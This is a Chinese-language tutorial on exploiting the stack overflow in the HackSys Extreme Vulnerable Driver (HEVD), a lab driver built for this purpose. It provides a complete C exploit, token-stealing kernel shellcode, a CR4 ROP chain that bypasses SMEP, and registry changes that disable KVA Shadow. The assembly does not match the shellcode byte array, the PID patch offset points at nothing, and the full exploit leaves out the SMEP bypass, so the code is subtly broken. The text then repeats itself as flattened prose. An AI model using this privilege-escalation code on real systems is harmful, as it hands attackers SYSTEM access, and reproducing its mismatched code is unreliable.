从零探索现代windows内核栈溢出-以HEVD练习为例(中)
字数 1613 2025-08-23 18:31:17

Windows内核栈溢出漏洞利用教程 - 以HEVD为例

1. 准备工作

1.1 理解内核交互基础

在开始内核漏洞利用前,需要了解与Windows内核的交互方式:

  • 通过设备驱动程序的设备链接进行通信
  • 使用CreateFileW打开设备链接
  • 使用DeviceIoControl发送控制代码(IOCTL)与驱动交互

1.2 HEVD驱动简介

HEVD (HackSys Extreme Vulnerable Driver)是一个故意设计有漏洞的驱动程序,用于安全研究:

  • 包含多种类型的内核漏洞
  • 本教程聚焦于栈溢出漏洞
  • 位于\\\\.\\My1DeviceLinker设备链接

2. IOCTL交互机制

2.1 IOCTL代码计算

Windows使用CTL_CODE宏定义IOCTL代码:

#define CTL_CODE(DeviceType, Function, Method, Access) \
    ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)

HEVD栈溢出漏洞的IOCTL代码计算:

  • DeviceType: FILE_DEVICE_UNKNOWN (0x22)
  • Function: 0x9888
  • Method: METHOD_BUFFERED (0)
  • Access: FILE_ANY_ACCESS (0)

计算过程:

(0x22 << 16) | (0 << 14) | (0x9888 << 2) | 0 
= 0x220000 | 0 | 0x26220 | 0 
= 0x226220

逆向IOCTL到功能号的函数:

unsigned int io2num(unsigned int ioctl_num) {
    return ((ioctl_num ^ 0x220000) >> 2) & 0xfff;
}

3. 漏洞分析

3.1 栈溢出漏洞点

HEVD驱动中的栈溢出漏洞:

  • 驱动定义了一个固定大小的栈缓冲区(2048字节)
  • 但写入大小由用户控制
  • 没有进行边界检查,导致栈溢出

3.2 漏洞利用思路

利用步骤:

  1. 发送超过缓冲区大小的数据
  2. 覆盖返回地址
  3. 控制执行流

关键点:

  • 需要计算精确的溢出偏移量
  • 需要绕过现代Windows保护机制

4. 漏洞利用实现

4.1 基础利用代码

void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
    char stackspace[0x1000] = {0};
    unsigned int size = 0x1000;
    RtlFillMemory(stackspace, size, 'A');
    DWORD info = 0;
    DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL);
    printf("info: %d\n", info);
}

4.2 调试技巧

使用WinDbg调试内核:

  1. 加载符号表:

    .sympath+ <pdb文件路径>
    lm m HEVD
    
  2. 常用命令:

    • 查看内存:dq/dqs <地址> L<长度>
    • 设置断点:bp HEVD!TriggerBufferOverflowStack
    • 查看断点:bl
    • 反汇编:u <地址>uf <函数>
    • 计算器:? <表达式>

4.3 精确控制溢出

通过调试确定偏移量:

  1. 发送特定大小数据(如0x80)
  2. 观察栈布局
  3. 计算返回地址位置

最终确定:

  • 填充0x810字节'A'
  • 在0x818位置覆盖返回地址

5. Shellcode编写

5.1 Token窃取原理

通过替换进程Token实现提权:

  1. 查找System进程(pid=4)的Token
  2. 查找目标进程(如cmd.exe)的Token
  3. 将System的Token复制到目标进程

5.2 Shellcode实现

[BITS 64]
push rax
push rbx
push rcx
push rsi
push rdi

mov rax, [gs:0x180 + 0x8]    ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x220]       ; Get 'Process' property from current thread

next_process:
cmp dword [rax + 0x2e0], 0x41414141  ; Search for target process (PID)
je found_cmd_process
mov rax, [rax + 0x2e8]       ; Next process
sub rax, 0x2e8
jmp next_process

found_cmd_process:
mov rbx, rax                  ; Save target EPROCESS

find_system_process:
cmp dword [rax + 0x2e0], 0x00000004  ; Search for PID 4 (System)
je found_system_process
mov rax, [rax + 0x2e8]
sub rax, 0x2e8
jmp find_system_process

found_system_process:
mov rcx, [rax + 0x358]       ; Take TOKEN from System
mov [rbx+0x358], rcx         ; Copy to target process

pop rdi
pop rsi
pop rcx
pop rbx
pop rax
ret

5.3 Shellcode字节码

BYTE shellcode[256] = {
    0x48, 0x31, 0xc0, 0x65, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 
    0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc1, 0x48, 0x8b, 0x80, 
    0x48, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x50, 0xf8, 0x49, 
    0x89, 0xc0, 0x48, 0x8b, 0x00, 0x48, 0x83, 0xfa, 0x04, 0x75, 0xf0, 0x49, 
    0x8b, 0x50, 0x70, 0x48, 0x83, 0xe2, 0xf8, 0x49, 0x8b, 0x89, 0xb8, 0x04, 
    0x00, 0x00, 0x48, 0x83, 0xe1, 0x07, 0x48, 0x01, 0xca, 0x49, 0x89, 0x91, 
    0xb8, 0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 
    0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 
    0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 
    0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 
    0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 
    0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 
    0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

6. 绕过保护机制

6.1 SMEP保护

SMEP (Supervisor Mode Execution Protection):

  • 防止内核执行用户空间代码
  • 通过CR4寄存器的第20位控制
  • Windows 8及以上默认启用

6.2 绕过SMEP的方法

方法1:修改CR4寄存器

通过ROP链修改CR4:

  1. 找到pop rcx; ret gadget
  2. 找到mov cr4, rcx; ret gadget
  3. 构造ROP链:
*(unsigned long long*)(stackspace + 0x818) = (unsigned long long)pop_rcx_ret;
*(unsigned long long*)(stackspace + 0x820) = (unsigned long long)0x00000000002506f8; // CR4值
*(unsigned long long*)(stackspace + 0x828) = (unsigned long long)mov_rc4_rcx_ret;
*(unsigned long long*)(stackspace + 0x830) = (unsigned long long)shellcode_addr;

方法2:禁用KVA Shadow

通过注册表禁用:

  1. 创建/修改以下注册表项:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
    
  2. 添加DWORD值:
    • FeatureSettingsOverride = 3
    • FeatureSettingsOverrideMask = 3
  3. 重启系统

7. 完整利用代码

void StackOverflow(HANDLE hDevice, unsigned int ioctl) {
    char stackspace[0x1000] = {0};
    DWORD oldProtect;
    
    // 分配可执行内存存放shellcode
    LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode), 
                                        MEM_COMMIT | MEM_RESERVE, 
                                        PAGE_EXECUTE_READWRITE);
    memcpy(shellcode_addr, shellcode, sizeof(shellcode));
    
    // 创建目标进程
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    
    if (!CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE, 
                       CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[!] Error creating cmd.exe\n");
        return;
    }
    
    // 更新shellcode中的PID
    *(DWORD*)((char*)shellcode_addr + 27) = pi.dwProcessId;
    
    // 构造溢出数据
    unsigned int size = 0x820;
    RtlFillMemory(stackspace, 0x810, 'A');
    
    // 覆盖返回地址
    *(unsigned long long*)(stackspace + 0x818) = (unsigned long long)shellcode_addr;
    
    DWORD info = 0;
    DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL);
    printf("info: %d\n", info);
    
    // 启动新的cmd shell
    system("cmd.exe");
}

8. 总结与进阶

8.1 关键点回顾

  1. 理解内核驱动交互机制
  2. 精确计算溢出偏移量
  3. 编写有效的提权shellcode
  4. 绕过现代保护机制(SMEP)

8.2 进阶方向

  1. 自动化查找ROP gadget
  2. 研究其他内核保护机制的绕过方法
  3. 探索其他类型的内核漏洞
  4. 研究更稳定的利用技术

8.3 参考资源

  1. Windows威胁防护概述
  2. Intel SMEP技术文档
  3. 英特尔® 64位和IA-32架构开发人员手册
Windows内核栈溢出漏洞利用教程 - 以HEVD为例 1. 准备工作 1.1 理解内核交互基础 在开始内核漏洞利用前,需要了解与Windows内核的交互方式: 通过设备驱动程序的设备链接进行通信 使用 CreateFileW 打开设备链接 使用 DeviceIoControl 发送控制代码(IOCTL)与驱动交互 1.2 HEVD驱动简介 HEVD (HackSys Extreme Vulnerable Driver)是一个故意设计有漏洞的驱动程序,用于安全研究: 包含多种类型的内核漏洞 本教程聚焦于栈溢出漏洞 位于 \\\\.\\My1DeviceLinker 设备链接 2. IOCTL交互机制 2.1 IOCTL代码计算 Windows使用 CTL_CODE 宏定义IOCTL代码: HEVD栈溢出漏洞的IOCTL代码计算: DeviceType: FILE_DEVICE_UNKNOWN (0x22) Function: 0x9888 Method: METHOD_BUFFERED (0) Access: FILE_ANY_ACCESS (0) 计算过程: 逆向IOCTL到功能号的函数: 3. 漏洞分析 3.1 栈溢出漏洞点 HEVD驱动中的栈溢出漏洞: 驱动定义了一个固定大小的栈缓冲区(2048字节) 但写入大小由用户控制 没有进行边界检查,导致栈溢出 3.2 漏洞利用思路 利用步骤: 发送超过缓冲区大小的数据 覆盖返回地址 控制执行流 关键点: 需要计算精确的溢出偏移量 需要绕过现代Windows保护机制 4. 漏洞利用实现 4.1 基础利用代码 4.2 调试技巧 使用WinDbg调试内核: 加载符号表: 常用命令: 查看内存: dq/dqs <地址> L<长度> 设置断点: bp HEVD!TriggerBufferOverflowStack 查看断点: bl 反汇编: u <地址> 或 uf <函数> 计算器: ? <表达式> 4.3 精确控制溢出 通过调试确定偏移量: 发送特定大小数据(如0x80) 观察栈布局 计算返回地址位置 最终确定: 填充0x810字节'A' 在0x818位置覆盖返回地址 5. Shellcode编写 5.1 Token窃取原理 通过替换进程Token实现提权: 查找System进程(pid=4)的Token 查找目标进程(如cmd.exe)的Token 将System的Token复制到目标进程 5.2 Shellcode实现 5.3 Shellcode字节码 6. 绕过保护机制 6.1 SMEP保护 SMEP (Supervisor Mode Execution Protection): 防止内核执行用户空间代码 通过CR4寄存器的第20位控制 Windows 8及以上默认启用 6.2 绕过SMEP的方法 方法1:修改CR4寄存器 通过ROP链修改CR4: 找到 pop rcx; ret gadget 找到 mov cr4, rcx; ret gadget 构造ROP链: 方法2:禁用KVA Shadow 通过注册表禁用: 创建/修改以下注册表项: 添加DWORD值: FeatureSettingsOverride = 3 FeatureSettingsOverrideMask = 3 重启系统 7. 完整利用代码 8. 总结与进阶 8.1 关键点回顾 理解内核驱动交互机制 精确计算溢出偏移量 编写有效的提权shellcode 绕过现代保护机制(SMEP) 8.2 进阶方向 自动化查找ROP gadget 研究其他内核保护机制的绕过方法 探索其他类型的内核漏洞 研究更稳定的利用技术 8.3 参考资源 Windows威胁防护概述 Intel SMEP技术文档 英特尔® 64位和IA-32架构开发人员手册